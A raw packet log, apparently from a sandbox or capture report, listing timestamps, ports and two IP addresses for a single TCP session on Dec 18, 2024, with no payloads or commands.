Dec 18, 2024 13:21:42.805855989 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.812355995 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.812495947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.812809944 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.813090086 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.819674015 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.819715023 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.819777966 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.820410013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.822303057 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.829322100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.829428911 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.829480886 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.830068111 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.836796999 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.836868048 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.836955070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.837377071 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.837414026 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.843975067 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.844082117 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.844180107 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.844640970 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.851202011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.851218939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.851252079 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.851846933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.851883888 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.858445883 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.858541012 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.858589888 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.859193087 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.865777016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.865840912 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.865854025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.866437912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.866511106 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.874104023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.874198914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.874300957 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.874792099 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.881269932 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.881352901 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.881395102 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.882006884 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.882047892 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.888617992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.888722897 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.888802052 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.224653006 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.224689960 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.224747896 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.225011110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.225102901 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.225137949 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.226488113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.226597071 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.226635933 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.228075981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.228106022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.228169918 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.229598045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.229701996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.229742050 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.231249094 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.231363058 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.231405973 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.232780933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.232857943 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.232898951 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.234184980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.234251976 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.234286070 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.235785961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.235866070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.235899925 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.237281084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.237389088 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.237432003 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.238785982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.238955021 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.238996029 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.240395069 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.240498066 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.240545034 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.241871119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.242099047 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.242155075 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.243398905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.243527889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.243576050 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.244978905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.245076895 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.245121956 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.246654987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.246773005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.246819019 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.248044968 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.248130083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.248173952 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.249620914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.249840975 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.249878883 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.251143932 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.251275063 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.251322031 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.252660990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.252728939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.252774954 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.254183054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.254344940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.254400969 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.255708933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.255884886 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.255939007 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.257244110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.257392883 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.257448912 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.258878946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.258956909 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.259006977 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.260452032 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.260628939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.260679960 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.262038946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.262145042 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.262196064 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.263470888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.263576984 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.263624907 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.264950037 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.265042067 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.265089989 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.266450882 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.266596079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.266640902 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.268032074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.268157959 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.268208981 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.269722939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.269849062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.269891024 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.271259069 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.271367073 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.271410942 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.272731066 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.272825003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.272867918 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.274272919 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.274382114 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.274424076 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.275932074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.275995016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.276035070 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.277276039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.277358055 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.277393103 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.278780937 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.278898954 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.278932095 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.280353069 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.280457973 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.280498981 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.281974077 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.282100916 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.282143116 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.283596039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.283658981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.283700943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.285327911 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.285433054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.285470009 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.286648989 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.286691904 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.286735058 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.287997961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.288126945 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.288172007 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.289541006 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.289655924 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.289696932 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.291152000 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.291263103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.291321039 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.292654037 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.292779922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.292823076 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.294209003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.294307947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.294358015 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.295728922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.295900106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.295948029 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.297266006 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.297363997 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.297408104 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.298827887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.298898935 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.298949957 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.300359011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.300441027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.300491095 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.301903963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.302030087 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.302087069 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.303406000 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.303502083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.303553104 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.305008888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.305042982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.305094957 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.416959047 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.417036057 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.417095900 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.417562962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.417699099 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.417733908 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.419002056 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.419117928 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.419153929 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.420398951 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.420485973 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.420520067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.421751022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.421806097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.421838045 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.423137903 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.423238039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.423273087 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.424555063 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.424619913 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.424654007 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.426064968 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.426163912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.426213980 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.427270889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.427351952 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.427392006 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.428438902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.428482056 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.428519964 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.429765940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.429891109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.429930925 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.430991888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.431134939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.431169987 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.432301998 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.432410002 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.432452917 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.433836937 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.434050083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.434094906 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.434937954 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.435065985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.435105085 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.436208963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.436312914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.436356068 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.437549114 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.437597990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.437638998 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.438802958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.438910007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.438949108 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.440316916 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.440437078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.440469027 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.441389084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.441528082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.441562891 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.442617893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.569281101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.607436895 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.607464075 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.607506990 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.607968092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.608107090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.608144045 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.609334946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.609443903 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.609481096 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.610536098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.610649109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.610686064 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.611850023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.611936092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.611972094 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.613138914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.613265038 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.613301039 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.614492893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.614602089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.614634991 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.615746975 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.615859985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.615890980 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.617120028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.617178917 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.617218971 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.618577003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.618624926 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.618669033 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.619643927 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.619657040 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.619693041 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.620923996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.621036053 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.621068954 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.622442961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.622466087 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.622499943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.623565912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.623631001 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.623670101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.624809027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.624931097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.624968052 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.626123905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.626203060 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.626239061 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.627712011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.628242016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.628279924 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.680866003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.680955887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.681005001 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.681360960 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.692069054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.692115068 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.692118883 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.692653894 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.692697048 CET	49833	8084	192.168.2.10	107.148.62.100
